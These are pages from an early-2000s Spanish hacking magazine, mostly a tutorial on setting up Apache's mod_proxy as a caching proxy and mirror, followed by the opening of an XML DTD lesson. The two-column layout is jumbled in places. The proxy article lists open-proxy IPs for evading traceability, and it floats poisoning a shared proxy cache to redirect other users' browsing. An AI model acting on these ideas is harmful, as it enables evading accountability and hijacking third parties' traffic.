          popup porno, pues tendrán justificación para             ·        Si tienes una red interna (intranet) y una
          despedirte pues según ellos te habrás conectado a        conexión, puedes utilizar el servidor Proxy para que
          una web porno en horas de trabajo. Conozco               todos los ordenadores de la red puedan conectarse
          algunos casos reales de trabajadores que por buscar      a Internet.
          información y estar presentes popup pornos fueron
          despedidos. Desgraciadamente, esas noticias no           ·         Si configuras el servidor Proxy con Caché
          salen en la tele :( **España prefiere el Hotel Glam      podrás acceder a los recursos de Internet con más
          y “cosas” parecidas ;p                                   velocidad, ya que las páginas estarán almacenadas
                                                                   en la caché del proxy y optimizará el ancho de banda
          El servidor Proxy inverso se encuentra frente a          de la conexión.
          un recurso de Internet. En este tipo de configuración,
          el servidor proxy inverso recupera las peticiones        ·        Podrás registrar los accesos de cada uno
          provenientes del servidor original y las devuelve al     de los navegantes que trabajan en la red y luego
          host del usuario.                                        echarles por cara que se conectan a páginas porno.
          Un claro ejemplo de servidor Proxy inverso son los       ¡¡toma privacidad!!.


PC PASO A PASO Nº 11                                                                                                        Página 53
APACHE como Servidor Proxy - APACHE como Servidor Proxy - APACHE como Servidor Proxy



                                                                        # ("Full" adds the server version; "Block" removes all outgoing Via: headers)


  !             En números...                                           # Set to one of: Off | On | Full | Block
                                                                        #
                                                                        # ProxyVia On
  En números anteriores de PC PASO A PASO ya hemos
  explicado y profundizado sobre todo lo relacionado con                #
                                                                        # To enable the cache as well, edit and uncomment the following lines:
  los proxys, en su momento aprendimos incluso a crear                  # (no cacheing without CacheRoot)
  cadenas de proxys para conseguir un anonimato decente                 #
                                                                        # C a c h e Ro o t " C : / a p a c h e / A p a c h e / p r o x y "
  a la hora de navegar por la red. En este artículo tocaremos
                                                                        # CacheSize 5
  de nuevo el tema para que quienes no han leído los números            # CacheGcInterval 4
  anteriores puedan seguir la práctica, pero no                         # CacheMaxExpire 24
  profundizaremos en el tema (eso ya lo hicimos).                       # CacheLastModifiedFactor 0.1
                                                                        # CacheDefaultExpire 1
                                                                        #    NoCache a-domain.com another-domain.edu joes.garage-sale.com
                                                                        # </IfModule>
            4. Preparar Apache como servidor
            Proxy                                                       Vamos a comentar de manera breve las directrices
                                                                        del módulo Proxy.
            Vamos a lo que nos interesa. En los capítulos
            anteriores hemos utilizado Apache como servidor             ProxyRequest On | Off
            Web, ahora vamos a configurarlo como servidor               Esta directriz activa o desactiva el servicio de proxy
            Proxy. Apache es conocido como Servidor Web pero            caché. Así que para hacer funcionar el servicio de
            no debemos ignorar que también funciona como                proxy caché tienes que poner ProxyRequest On
            servidor Proxy.
                                                                        ProxyRemote
            El servidor proxy con el que puede trabajar Apache          Esta directriz permite que el servidor proxy interactúe
            se encuentra dentro del módulo mod_proxy. Por               con otro.
            defecto no está configurado. Hay que destacar que           Por ejemplo, si colocamos ProxtRemote
            el proxy de Apache solo funciona como proxy directo,        http://www.hackxcrack.com
            aunque parece que muy pronto estará la versión              http://proxy.unejemplo.com:8000, de esta
            inversa.                                                    forma cuando nuestro servidor proxy detecte que
                                                                        tienes intención         de conectar a la web
            Lo primero que hay que hacer es abrir el fichero de         www.hackxcrack.com lo que realmente hará será
            configuración httpd.conf y activar el módulo                conectar con el proxy remoto.
            mod_proxy, simplemente quieta la almohadilla en
               AddModule mod_proxy.c y LoadModule                       ¿se te ocurre alguna idea con esto?, pues puedes
            proxy_module modules/mod_proxy.so, en                       ocultar tu IP si no deseas dejar rastro cuando te
            capítulos anteriores se ha explicado detalladamente         conectes a www.hackxcrack.com ya que el servidor
            como poner en marcha los módulos de Apache. Ya              destino registrará la IP del último servidor Proxy (en
            tienes cargado en memoria el módulo que hace la             este caso http://proxy.unejemplo.com:8000). Esto
            función de Proxy, ahora toca configurarlo, para ello        no ocurre siempre, algunos proxy transmiten la ip
            sigue cambiando directrices del archivo de                  origen de manera oculta y este dato puede ser
            configuración.                                              consultado, eso lo veremos en otros números, en
                                                                        anteriores números ya explicamos esto :)
            En el fichero de configuración encontrarás las
            siguientes directrices:                                     Para que todas las peticiones que se realicen en la
                                                                        red sean redirigidas a otro proxy, simplemente hay
            #<IfModule mod_proxy.c>                                     que poner un asterisco:
            #   ProxyRequests On
                                                                        ProxyRemote          *   http://proxy         .unejemplo.com:8000

            #    <Directory proxy:*>
                                                                        ProxyPass
            #      Order deny,allow
            #      Deny from all
                                                                        Esta directriz permite convertir el árbol de documentos
            #      Allow from dominio.com
                                                                        de un servidor web en el de su servidor proxy. La
            #    </Directory>
                                                                        aplicación de esta directriz es muy curiosa ya que
            #
            # Enable/disable the handling of HTTP/1.1 "Via:" headers.   permite crear mirror, más adelante haremos una


Página 54                                                                                                                         PC PASO A PASO Nº 11
APACHE como Servidor Proxy - APACHE como Servidor Proxy - APACHE como Servidor Proxy




          práctica de cómo crear un mirror de vuestro sitio        Por ejemplo para una giga de caché: CacheSize
          web.                                                     1000000

          Un ejemplo de esta directriz es:
          ProxyPass /hackxcrack/       www.hackxcrack.com          CacheMaxExpire

          Suponiendo que el servidor proxy tenga la IP:            El proxy caché Apache permite ir borrando cada
          10.0.0.1, se puede poner la siguiente url para acceder   cierto tiempo los archivos, podemos especificar el
          a los contenidos de hackxcrack camuflando el             tiempo (en horas) que transcurre hasta que caducan
          dominio: http://10.0.0.1/hackxcrack/, de esta forma      los archivos.
          tan sencilla se puede acceder a otro dominio
          camuflando el dominio destino.                           Por ejemplo: CacheMaxExpire 48

          ¿Cómo funciona el proxy para que pueda camuflar          Con este ejemplo los documentos expirarán en un
          el dominio?, como ya se ha comentado el proxy            plazo de 48 horas.
          hace de puente entre el servidor remoto y el
          navegador del cliente, cuando este último se conecta     Existen más directrices pero conocer el funcionamiento
          a una url, el proxy es realmente el que se conecta,      de estas es suficiente para hacer funcionar el servidor
          se baja la página, la guarda en su cache y luego la      Proxy caché de Apache.
          envía al cliente que solicitó la url.
                                                                   La configuración tiene que ir dentro de <Directory
          ProxyBlock                                               >, cuyo aspecto es:
                                                                   <Directory proxy:*>
          Esta directriz bloquea el acceso a un host o dominio.    directrices
          Es de gran utilidad para los administradores de          </Directory>
          sistemas que no quieren que los trabajadores se
          conecten a páginas de crack, warez, porno desde          5. Primera práctica – Crear un proxy
          la empresa.
                                                                   con caché
          Por ejemplo:                                             Ya sabes las directrices para configurar un servidor
          ProxyBlock porno astalavista.com microsoft.com           Proxy caché, así que la primera práctica será crear
                                                                   precisamente eso “un servidor proxy caché”.
          Este ejemplo no permite visitar los dominios que
          tengan la palabra porno, el dominio y microsoft.com      Es importante recordar que un servidor Proxy caché
                                                                   guarda en el disco las páginas estáticas y no las
          Y para bloquear todas las conexiones ha que poner        dinámicas, por ejemplo guarda gif, jpg, , html, htm
          un asterisco, por ejemplo, ProxyBlock *                  pero no guarda PHP, ASP, ...
          CacheRoot                                                Se va a crear la configuración de un servidor Proxy
                                                                   con caché que guarde una copia en el directorio
          Esta directriz permite activar la caché en disco. Hay    c:apacheproxy, que pueda almacenas hasta 4
          que indicar el nombre del directorio en el que se        megas en el directorio y que cada 24 horas borre la
          desea guardar la copia de archivos.                      caché. La configuración es:
          Por ejemplo: CacheRoot C:/apache/proxy/cache             <Directory proxy:*>
                                                                   CacheRoot        c:apacheproxy
          Si se está utilizando el servidor Proxy y se mira el     CacheSize 4096
          directorio especificado en CacheRoot se encontrarán      CacheMaxExpire 24
          todos archivos a los que se han conectado los            </Directory>
          usuarios de red.

                                                                   6. Segunda práctica – Hacer un mirror
          CacheSize                                                de un sitio web

          Esta directriz permite especificar la cantidad de        Cuando navegas por internet y quieres bajarte un
          espacio en disco (en K) que se utilizará para            archivo muchas veces te preguntan el mirror que
          almacenar los archivos en caché. Por defecto es de       deseas para realizar la descarga, realmente un mirror
          5K, un valor muy pequeño.                                es una copia de un sistema web remoto.


PC PASO A PASO Nº 11                                                                                                         Página 55
APACHE como Servidor Proxy - APACHE como Servidor Proxy - APACHE como Servidor Proxy




                                                                    encuentras en
            Crea un mirror de hackxcrack, para ello pon las         Herramientas
            siguientes directrices:                                 mira en Ver),
                                                                     Opciones de
            ProxyPass          / www.hackxcrack.com/                internet.

            CacheRoot          “C:apacheproxy”                    Paso       2.
            CacheDefaultExpire 24                                   Seleccionar la
                                                                    p e s t a ñ a
            De esta forma tan sencilla el servidor Proxy guarda     Conexión.
            en disco cada página que se visite de hackxcrack.com,
            cuando alguien de tu red se conecte a hackxcrack        Paso       3.
            verá que la descarga es mucho más rápida pero           Pinchar en
            serán páginas guardadas en el servidor proxy,           Configuración
            realmente el usuario no se habrá conectado a            LAN.
            www.hackxcrack.com.
                                                                    Paso       4.
            Esto de los mirror es interesante, pero hay que         Seleccionar
            tener cuidado, ya que muchas páginas tienen             Usar servidor
            copyright.                                              Proxy y poner
                                                                    la dirección
            Piensa por un momento que haces un mirror de            del proxy
            una página Web (por ejemplo una empresa que os          junto con el puerto 8080.
            caiga muy mal) y publicáis la IP de vuestro proxy
            para que otros navegantes se conecten a Internet        P a r a
            utilizando TU Proxy, puedes manipular las páginas       especificar un
            guardadas en la caché del proxy (en tu disco duro),     servidor Proxy
            por ejemplo se puede crear una redirección a una        diferente para
            web porno. Sencillamente los navegantes conectados      cada puerto,
            al Proxy verán las páginas del mirror y serán           se puede
            redireccionados a la web porno en vez de ir a la        utilizar el
            web correcta.                                           b o t ó n
                                                                    Opciones
            Imagina que a un proveedor de acceso a Internet         avanzadas,
            que utiliza los servidores Proxy para las conexiones    con lo que
            ADSL, le diera por mostrar contenidos eróticos          aparecerá otro
            cuando los navegantes pusieran dominios de la           cuadro de
            competencia (pues esas cosas pueden ocurrir). Ya        diálogo como
            sabes, busca un proxy-caché e intentar cambiar su       aparece en la
            caché. Es difícil pero no imposible :) Os adelanto      imagen.
            que estamos preparando un articulo sobre cómo
            cambiar el contenido de la cache de algunos
            servidores Proxy de manera remota, será divertido,
            pero primero tienes que practicar con tu propio             !             En anteriores...
            Proxy.
                                                                        En anteriores números ya explicamos todo esto de forma
            7. Configurar el navegador para
                                                                        más detallada, si tienes problemas visita nuestro foro en
            navegar conectado a un proxy
                                                                        www.hackxcrack.com y pregunta al resto de lectores, ten
            Para que cualquier navegante de la red pueda                por seguro que te ayudarán con este tema :)
            conectarse a Internet utilizando una única conexión
            y estando ésta gestionada por un Proxy-Cache, es
            necesario configurar correctamente el navegador.
            Vamos a configurar el Internet Explorer para que        8. Navegar anónimo por internet
            se conecte a un Proxy Directo.
                                                                    Hemos aprendido a configurar nuestro propio servidor
            Paso 1. Hacer clic en Herramientas (si no lo            Proxy y cómo funcionan estos servidores, ahora

Página 56                                                                                                  PC PASO A PASO Nº 11
APACHE como Servidor Proxy - APACHE como Servidor Proxy - APACHE como Servidor Proxy




          vamos a utilizarlos para navegar de manera anónima
          p o r I n t e r n e t . Va m o s a c o n e c t a r n o s a
          www.hackxcrack.com a través de un proxy japonés,
          de esta forma el webmaster de hacxcrack.com
          obtendrá la IP del servidor japonés y no la IP real
          (algunos proxy si que transmiten la IP real, lee los
          números anteriores).

          ¿De donde podemos obtener una buena lista de
          servidor Proxy que nos permitan conectarnos y
          poder navegar con sus Ips?, la siguiente url es un
          listado de más de 488000 proxy de todo el mundo
          que nos darán acceso anónimo.

          http://www.atomintersoft.com/products/alive-
          proxy/proxy-list/



                                                                              Ya podemos navegar tranquilos desde Japón,
                                                                              y si algo pasa pues que llamen a aquellos
                                                                              lugares a ver si se entienden.

                                                                              Si os animáis a montar vuestro propio Proxy
                                                                              podéis dejar la IP en el foro de
                                                                              hackxcrack.com para que los demás podamos
                                                                              navegar con tu IP, la verdad es que no es
                                                                              muy aconsejable pero a modo de práctica
                                                                              no estaría mal.

                                                                              9. Conéctate al IRC de manera
                                                                              anónima

                                                                              También existen proxys que permiten la conexión
                                                                              a los servidores IRC para que podamos chatear
                                                                              de manera anónima, la siguiente lista son
                                                                              servidores Proxy para IRC:

          Nuestra intención es buscar un proxy japonés. De
          esta manera podéis navegar por Internet como si
                                                                       202.155.131.230:3128
          estuvierais conectados desde Japón, si hacéis algo
                                                                       217.167.141.17:8080
          no muy correcto, pues que llamen a Japón ¿no?,
          por lo menos algo difícil si que se lo ponéis.               202.155.32.51:3128
                                                                       213.194.100.130:8080
          Nos conectamos a la url anterior y pinchamos en              202.68.143.122:8080
          JP PROXY (Japan National domain) para obtener                80.73.71.30:3128
          una lista de proxy japoneses, lógicamente podemos            212.11.163.117:80
          probar con otros proxys, pero a modo de práctica             213.84.44.172:3128
          vamos a utilizar uno japonés.                                203.144.75.18:8080
                                                                       212.33.168.229:80
          Configurar vuestro navegador, siguiendo las
          instrucciones anteriores, con la IP del proxy (por           Puedes encontrar una lista actualizada en
          ejemplo: 219.166.8.66, puerto 8080, si veis que no           http://www.proxyblind.org/list.shtml#4.
          funciona probar con otro). ¿cómo podemos estar
          seguros de que nos estamos conectando al proxy               Ahora vamos a configurar el Mirc para conectarnos
          japonés?, de la forma más sencilla, hacemos una              de manera anónima.
          visita a google.com y nos redirige a una web
          japonesa, ¡¡aparece el google en japonés!!.


PC PASO A PASO Nº 11                                                                                                            Página 57
APACHE como Servidor Proxy - APACHE como Servidor Proxy - APACHE como Servidor Proxy




            Paso 1. Selecciona Firewall de la lista desplegable
            Connect

            Paso 2. En la opción Firewall Support selecciona
                                                                    PERSONALIZATUMOVIL
                                                                     PERSONALIZATUMOVILMOVIL
                                                                    PERSONALIZATUMOVILTU MOVIL
                                                                     PERSONALIZATUMOVIL    MOVIL
                                                                                      TUMOVIL
                                                                      PERSONALIZATUMOVILMOVIL
                                                                      PERSONALIZATUMOVILMOVIL
                                                                    PERSONALIZATUMOVILTUMOVIL
                                                                       PERSONALIZATU MOVILMOVIL
                                                                      PERSONALIZATUMOVILMOVIL
                                                                                      TUMOVIL
                                                                       PERSONALIZATUMOVILMOVIL
                                                                       PERSONALIZATU TUMOVIL
                                                                     PERSONALIZATUMOVIL  MOVIL
                                                                                        MOVIL
                                                                                        MOVIL
                                                                                        MOVIL
                                                                        PERSONALIZA TUMOVIL
                                                                                       MOVIL
                                                                                       MOVIL
                                                                        PERSONALIZATU MOVIL
                                                                                      MOVIL
            “Both” para que tanto el servicio IRC como el
                                                                        PERSONALIZA
                                                                         PERSONALIZA
                                                                        PERSONALIZATU MOVIL
                                                                                       MOVIL
                                                                                    TU MOVIL
                                                                        PERSONALIZA TU MOVIL
                                                                        PERSONALIZA TU MOVIL
            protocolo DCC de transmisión de ficheros sea
            anónimo.

            Paso 3. En protocol selecciona “Proxy”.

            Paso 4. En hostname ponemos la IP del Proxy, en
            este ejemplo 212.11.163.117 que se encuentra en
            Arabia Saudí. ¿Qué quiere decir esto?, pues que
            todos mensajes que nos lleguen o enviemos van a
            pasar por Arabia Saudí. Si alguien intenta averiguar
            nuestra IP en el IRC le aparecerá la IP del Proxy,
            es decir, una IP de Arabia Saudí.

            Paso 5. Según el listado anterior el puerto de este
            proxy es 80, así que en el cuadro de texto que nos




                                                                           HAY MUCHOS MAS EN
                                                                        http://pclog.buscalogos.com/



                                                                      EL GANADOR DEL
            solicita el puerto colocamos 80.                         SORTEO DE UN SUSE
            Conclusión
                                                                    LINUX 8.2 DEL MES DE
            En este capítulo hemos aprendido a instalar y
            configurar nuestro propio servidor Proxy-Cache
            gracias al servidor Apache, hemos aprendido algo
                                                                          MAYO ES:
            más sobre redes, a navegar de forma “anónima”
            (para ampliar lee los números anteriores), a             Angel Olivera Creu
            conectarnos al IRC por proxy y todo ello de la forma
            sencilla, sin necesidad de instalar aplicaciones.             Salamanca
                                                                   SEGUIR LLAMANDO, EL PROXIMO
            David C.M
                                                                   PODRIA SER PARA TI (PAG 27)

Página 58                                                                                 PC PASO A PASO Nº 11
VALIDACIoN DE DOCUMENTOS XML: DTD
            Primera parte: Creacion de DTDs
           Por Joaquim Roca Verges                               - xml segunda entrega -



            Supongo que estás ansioso por descubrir todas las posibilidades del XML, pero antes
            tendrás que estudiar los DTD. Es imprescindible su estudio para poder avanzar en lo que
            ya es un estándar universal: XML



            En el primer capitulo del curso pudimos             QUE SON LAS DTD (Document Type
            comprobar lo fácil que era crear un documento       Definition)
            xml y explicamos lo imprescindible para que
            un documento xml fuese considerado como un          Son archivos de texto plano que podéis crear
            documento “bien formado”. Ahora bien, el que        con el notepad o cualquier otro editor de texto
            esté bien formado, no significa que sea válido.     ASCII que sirven para aseguraros de que un
                                                                documento xml sigue un determinado conjunto
            ¿Como saber si un documento es válido, si un        de reglas. Esto es os aseguráis que un
            xml se ajusta a unas reglas                         documento xml va a tener un determinado
            determinadas?¿Quien dictamina esas reglas?          formato para que una aplicación pueda trabajar
                                                                con el.
            Muy fácil, sabremos que un documento es
            válido si se valida contra un DTD, si se ajusta     Veámoslo con un ejemplo: Supongamos que
            a un DTD, si cumple las reglas de un DTD que        tengo una empresa MIEMPRESA S.A., que nos
            hemos creado...NOSOTROS.                            dedicamos a desarrollo de software, y somos
                                                                tan buenos que el trabajo nos desborda. En
            ¿No es fantástico esto? No solo es fácil de crear   determinados momentos pasamos algo de
            , sino que encima, las reglas las podemos           nuestro trabajo a EMPRESACOLABORA S.A. Hoy
            establecer nosotros.                                tenemos procesar una serie de datos que nos
                                                                llegan en forma de documento xml y no tenemos
                                                                tiempo así que le remitimos el trabajo a
                                                                EMPRESACOLABORA S.A. y le encargamos que
  !            Importante...
                                                                nos procese un sistema de compra-venta.

  Importante: En el número anterior pudimos ver un ejemplo
                                                                Cuando un documento xml tiene un dtd
  de archivo XML que abrimos desde el Internet Explorer
                                                                asociado, tiene que seguir las reglas del dtd,
  e incluso hicimos un ejemplo de manipulación de archivos
                                                                por lo tanto , le enviamos el dtd y ellos , en
  XML mediante Visual Basic.
                                                                cuanto lo lean, sabrán que cliente va a estar
                                                                anidado dentro de orden de compra , es decir,
  Supongo que estarás ansioso por VISUALIZAR y
                                                                que todos los datos xml que nos lleguen van a
  UTILIZAR XML, pero lo primero es lo primero. Lo que
                                                                tener el formato:
  aprenderás en este artículo es IMPRESCINDIBLE para
  avanzar en XML, pero te parecerá menos “práctico” que
                                                                <ORDEN_DE_COMPRA>
  el número anterior. Esta sensación desaparecerá cuando en
                                                                      <CLIENTE>Joaquim Roca</CLIENTE>
  los próximos artículos aprendas a manipular los documentos
                                                                </ORDEN_DE_COMPRA>
  XML... tiempo al tiempo... ;)
                                                                Etc.

PC PASO A PASO Nº 11                                                                                              Página 59
VALIDACIoN DE DOCUMENTOS XML - DTD - VALIDACIoN DE DOCUMENTOS XML - DTD




            Y todo ello lo sabrán interpretando un solo                        Solamente MIEMPRESA S.A. y
            documento: el DTD, que es el esqueleto de las                      EMPRESACOLABORA S.A., no
            N ( se llama N a un numero indeterminado,                          nos interesa que acceda a el
            por ejemplo, mañana tomaran ginebra en el                          nadie mas.
            Café Gijón N clientes) ordenes de compra que
            lleguen, o sea el esqueleto de los n documentos   Cuando utilicemos un DTD externo, deberemos
            xml que vayan a llegar. Y ese esqueleto tiene     cambiar la declaración xml (explicado en el
            una serie de reglas que cada uno de los xml       número 10 de PC PASO A PASO):
            asociados debe cumplir y que nos permite
            saber que CLIENTE está anidado dentro de          <?xml version=“1.0” standalone=”no”?>
            ORDEN_DE_COMPRA
                                                              Fijaros que el ultimo dato que incluimos en la
            XML VÁLIDO                                        declaración es el de que standalone=”no”,
                                                              que no es un documento standalone. Esto
            Decimos que un documento xml es válido,           significa que no es un documento autosuficiente,
            cuando se ha validado contra un DTD y el DTD      que necesita de un DTD externo para validarse.
            lo ha dado por bueno, es decir que el DTD ha
            visto que el documento xml cumplía sus reglas.    Sin embargo, cuando utilicemos un DTD interno,
                                                              la declaración xml será:
            TIPOS DE DTDs
                                                              <?xml version=“1.0” standalone=”yes”?>
            Los documentos DTD pueden ser de dos tipos:
                                                              Y será standalone = yes porque aunque
            1.      Interno                                   estemos utilizando un DTD, este DTD es interno,
                           Es un DTD que está definido        y tanto el código del DTD, como el del xml
                           dentro de un documento xml         están en el mismo documento, por tanto para
            2.      Externo                                   validarse, el documento xml se vale por si solo.
                           Es un DTD que no está definido     Es autosuficiente.
                           dentro de un documento xml,
                           es decir que para validar un       1. DTDs INTERNOS
                           documento xml se necesitan
                           dos archivos., el documento        La declaración de un DTD interno es la siguiente:
                           xml y el documento DTD. Los
                           documentos Externos pueden         <!DOCTYPE nombre_elemento_raiz [asignaciones]>

                           ser de dos tipos
                        a. Público                            La declaración empieza con signo de
                           Serían los DTD accesibles por      interrogación y la palabra clave DOCTYPE
                           todo el mundo                      (!DOCTYPE) seguida de el elemento raíz del
                        b. No Público                         documento. Normalmente , después del
                           Accesibles solamente por la        nombre_elemento_raiz viene el símbolo ( [ )
                           gente que los ha creado. El        y las asignaciones, que como suelen ser varias,
                           ejemplo que hemos puesto           suelen escribirse en diferentes líneas. La última
                           antes, podría ser un DTD           entrada de la declaración es siempre el símbolo
                           EXTERNO de acceso NO               ( ] ) . Todo ello , por supuesto incluido dentro
                           PÚBLICO, porque ¿Quien             de los símbolos < >. Ahora veremos el ejemplo
                           debería acceder a el?              y te quedará mas claro :)

Página 60                                                                                           PC PASO A PASO Nº 11
VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD




  Sigamos con el ejemplo que hemos empezado antes.                     < !ELEMENT NUMERO_DE_CUENTA ( #PCDATA)>
  Supongamos que vamos a estructurar un conjunto de
  ordenes de compra. Podríamos definir el documento de                 Significa dos cosas:
  la siguiente manera:
                                                                             a. NUMERO_DE CUENTA no contiene
                                                                                ningún elemento
  <?xml version=“1.0” standalone=”yes”?>
                                                                             b. El contenido de NUMERO_DE_CUENTA
  <!DOCTYPE ORDEN_DE_COMPRA [                                                   son datos, o sea texto

             <!ELEMENT ORDEN_DE_COMPRA (CLIENTE)>


             <!ELEMENT CLIENTE (NUMERO_DE_CUENTA,NOMBRE_COMPLETO)>     También podría escribirse de la siguiente
                                                                       manera:
             <!ELEMENT NUMERO_DE_CUENTA (#PCDATA)>

                                                                       <?xml version=“1.0” standalone=”yes”?>
             <!ELEMENT NOMBRE_COMPLETO (NOMBRE,APELLIDO1,APELLIDO2)>


             <!ELEMENT NOMBRE (#PCDATA)>                               <!DOCTYPE ORDEN_DE_COMPRA [

             <!ELEMENT APELLIDO1 (#PCDATA)>                                    <!ELEMENT NUMERO_DE_CUENTA (#PCDATA)>


             <!ELEMENT APELLIDO2 (#PCDATA)>                                    <!ELEMENT CLIENTE (NUMERO_DE_CUENTA,NOMBRE_COMPLETO)>



  ]>                                                                           <!ELEMENT ORDEN_DE_COMPRA (CLIENTE)>


                                                                               <!ELEMENT NOMBRE_COMPLETO (NOMBRE,APELLIDO1,APELLIDO2)>


  El ejemplo de DTD declara siete elementos
                                                                               <!ELEMENT APELLIDO1 (#PCDATA)>
  ( ORDEN_COMPRA, CLIENTE, NUMERO_DE_CUENTA ,
  NOMBRE_COMPLETO, NOMBRE, APELLIDO1, APELLIDO2)
                                                                               <!ELEMENT NOMBRE (#PCDATA)>
   y muestra el orden en que deben de ser escritos dentro
  del documento.
                                                                               <!ELEMENT APELLIDO2 (#PCDATA)>

                                                                       ]>
  Analicémoslo un poco.:

  < !ELEMENT ORDEN_DE_COMPRA (CLIENTE) >
  significa que CLIENTE es un elemento que pertenece a                 Fijaros que está completamente desordenado,
  ORDEN_DE_COMPRA, o dicho de otra manera que                          pero si lo leéis, las reglas están perfectas. Yo
  ORDEN_DE_COMPRA contiene el elemento CLIENTE                         no recomendaría que lo escribáis de esta
                                                                       manera, incluso para vosotros creadores, con
  < !ELEMENT CLIENTE (NUMERO_DE_CUENTA, NOMBRE_COMPLETO)>
                                                                       el tiempo os va a ser difícil, os va suponer un
  s i g n i f i c a q u e N U M E R O _ D E _ C U E N TA Y
                                                                       trabajo interpretarlo. De la otra manera, se
  NOMBRE_COMPLETO son elementos que pertenece a
  CLIENTE, o dicho de otra manera que CLIENTE contiene                 sigue con facilidad y se entiende de manera
  l o s e l e m e n t o s N U M E R O _ D E _ C U E N TA y             instantánea.
  NOMBRE_COMPLETO




PC PASO A PASO Nº 11                                                                                                                     Página 61
VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD




  Dedicarle una especial atención al espaciado, es muy importante.
                                                                           !                Como ya...
  La declaración siguiente no está bien formada:
  <!ELEMENTAPELLIDO1 (#PCDATA)>

  tampoco lo está la siguiente:                                            Como ya explicamos en anteriores
  <!ELEMENT APELLIDO1(#PCDATA)>                                            números y por si acaso intentas abrir el
                                                                           archivo prueba.xml con el Explorer y
  el formato correcto es :                                                 no eres capaz de hacerlo, te
  <!ELEMENT APELLIDO1 (#PCDATA)>                                           recomendamos utilizar la técnica de los
  Fijaros que después de ELEMENT viene un espacio, y que des pues de       “mackeros”. Lo primero que aprende
  APELLIDO1 viene otro.                                                    un usuario de appel es a arrastrar
                                                                           archivos desde las carpetas hasta los
                                                                           programas.
  1.1 EJEMPLO: UN DOCUMENTO XML CON UN DTD INTERNO
                                                                           Venga:
  Abre cualquier editor de texto plano (como el Bloc de Notas de Windows
                                                                             - Abre el Internet Explorer
  o el VI de Linux y escribe lo siguiente:                                   - Arrastra el archivo prueba.xml hasta
                                                                           la ventana del Internet Explorer
  <?xml version=“1.0” standalone=”yes”?>
                                                                             - Ya está :)
  <!DOCTYPE ORDEN_DE_COMPRA [
     <!ELEMENT ORDEN_DE_COMPRA (CLIENTE)>
     <!ELEMENT CLIENTE (NUMERO_DE_CUENTA,NOMBRE_COMPLETO)>
     <!ELEMENT NUMERO_DE_CUENTA (#PCDATA)>
     <!ELEMENT NOMBRE_COMPLETO (NOMBRE,APELLIDO1,APELLIDO2)>
     <!ELEMENT NOMBRE (#PCDATA)>
     <!ELEMENT APELLIDO1 (#PCDATA)>
     <!ELEMENT APELLIDO2 (#PCDATA)>
                                                                           Si lo abres con el Netscape 7.0, verás
  ]>
                                                                           esto:
  <ORDEN_DE_COMPRA>
       <CLIENTE>
             <NUMERO_DE_CUENTA>12345678</NUMERO_DE_CUENTA>
             <NOMBRE_COMPLETO>
                  <NOMBRE>Sam</NOMBRE>
                  <APELLIDO1>Bass</APELLIDO1>
                  <APELLIDO2></APELLIDO2>
             </NOMBRE_COMPLETO>
       </CLIENTE>
  </ORDEN_DE_COMPRA>



  Guarda el
  archivo
  c o m o
  prueba.xml
  y, si quieres
  visualizarlo,
  ábrelo con
  el Internet
  Explorer                                                                 Puedes darte cuenta de que el Internet
  6 . 0 .                                                                  Explorer visualiza el archivo de forma
  Deberías                                                                 mucho más adecuada que el Netscape
  ver algo
                                                                           (que solo muestra líneas de texto).
  como esto:



Página 62                                                                                      PC PASO A PASO Nº 11
VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD




          Sin entrar en detalle y para que todos lo            2.1 ESCRIBIR DTDs EXTERNOS
          entendamos, podemos decir que el Internet            Abrir un editor de texto ASCII (el notepad, el vi u otro
                                                               cualquiera)
          Explorer 6.0 muestra los XML de forma
          “navegable”. Sin que sirva de precedente, te
                                                               Coger el DTD interno que habíamos escrito, y sacar el
          recomendamos Internet Explorer 6.0 para visualizar   contenido que había entre el signo ( [ ) y el signo ( ]
          los archivos XML.                                    ) . esto es :

                                                               <!ELEMENT ORDEN_DE_COMPRA (CLIENTE)>
          Más adelante ya te enseñaremos a “darle formato”     <!ELEMENT CLIENTE (NUMERO_DE_CUENTA,NOMBRE_COMPLETO)>
          a los XML para que se visualicen de una forma        <!ELEMENT NUMERO_DE_CUENTA (#PCDATA)>
                                                               <!ELEMENT NOMBRE_COMPLETO (NOMBRE,APELLIDO1,APELLIDO2)>
          más “útil”... pero eso ya llegará :)                 <!ELEMENT NOMBRE (#PCDATA)>
                                                               <!ELEMENT APELLIDO1 (#PCDATA)>
                                                               <!ELEMENT APELLIDO2 (#PCDATA)>

          2. DTDs EXTERNOS                                     y guardarlo como ordenCompra.dtd (si, si... la
                                                               extensión es dtd ;)
          Un DTD externo se especifica (se define)
          utilizando una declaración DOCTYPE que               Si queréis añadirle un comentario, podéis hacerlo
          contenga una URI (uniform resource identifier).      tal y como se hacía con los documentos xml:
          La URI identificará el lugar donde está el DTD.      (ya lo explicamos en el número anterior)

                                                               <!--Ejemplo de archivo dtd-->
          ¿Y que es una URI?                                   <!ELEMENT ORDEN_DE_COMPRA (CLIENTE)>
          Una URI es algo parecido a un carné de               <!ELEMENT CLIENTE (NUMERO_DE_CUENTA,NOMBRE_COMPLETO)>
                                                               <!ELEMENT NUMERO_DE_CUENTA (#PCDATA)>
          identidad. Un identificador único, un lugar          <!ELEMENT NOMBRE_COMPLETO (NOMBRE,APELLIDO1,APELLIDO2)>
          único. Una URI es un superconjunto formado           <!ELEMENT NOMBRE (#PCDATA)>
                                                               <!ELEMENT APELLIDO1 (#PCDATA)>
          por :                                                <!ELEMENT APELLIDO2 (#PCDATA)>


          -        URLs                                        Es decir signo menor que (< ) seguido de signo
                                                               de final de exclamación (!) , dos guiones (--)
          Las URLs son direcciones. Dicho mas fácilmente       el comentario (Ejemplo de archivo dtd) , dos
          y con un ejemplo:                                    guiones (--) y el signo mayor que ( >)
          www.hackxcrack.com es una url
                                                               2.2 DTDs EXTERNOS PÚBLICOS

          -        URNs
                                                               Los DTD accesibles de modo público se definen
                                                               (o especifican) utilizando la palabra clave PUBLIC
          Explicar lo que son las URNs es un poco mas          en la
          complicado. De momento lo dejamos en que             declaración DOCTYPE.
          las URNs son identificadores invariables de
          recursos de información. Si continuáis leyendo,      La idea principal de los DTD externos públicos
          dentro de unas líneas lo veréis más claro.           e s u t i l i z a r l o s p a ra t ra b a j a r s i e m p r e c o n l a
